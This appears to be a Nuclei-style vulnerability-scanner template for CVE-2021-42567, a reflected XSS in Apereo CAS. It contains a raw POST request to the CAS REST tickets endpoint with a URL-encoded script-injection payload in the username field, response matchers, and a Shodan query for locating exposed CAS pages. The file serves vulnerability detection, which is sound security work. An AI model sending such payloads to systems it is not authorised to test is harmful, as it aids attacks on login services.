id: CVE-2021-42567

info:
  name: Apereo CAS Reflected XSS
  author: pdteam
  severity: medium
  description: Apereo CAS through 6.4.1 allows XSS via POST requests sent to the REST API endpoints.
  reference:
    - https://apereo.github.io/2021/10/18/restvuln/
    - https://www.sudokaikan.com/2021/12/exploit-cve-2021-42567-post-based-xss.html
    - https://github.com/sudohyak/exploit/blob/dcf04f704895fe7e042a0cfe9c5ead07797333cc/CVE-2021-42567/README.md
    - https://nvd.nist.gov/vuln/detail/CVE-2021-42567
    - https://github.com/apereo/cas/releases
  tags: cve,cve2021,apereo,xss,cas
  metadata:
    shodan-query: http.title:'CAS - Central Authentication Service'

requests:
  - raw:
      - |
        POST /cas/v1/tickets/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username=%3Cimg%2Fsrc%2Fonerror%3Dalert%28document.domain%29%3E&password=test

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '<img/src/onerror=alert(document.domain)>'
          - 'java.util.HashMap'
        condition: and

      - type: status
        status:
          - 401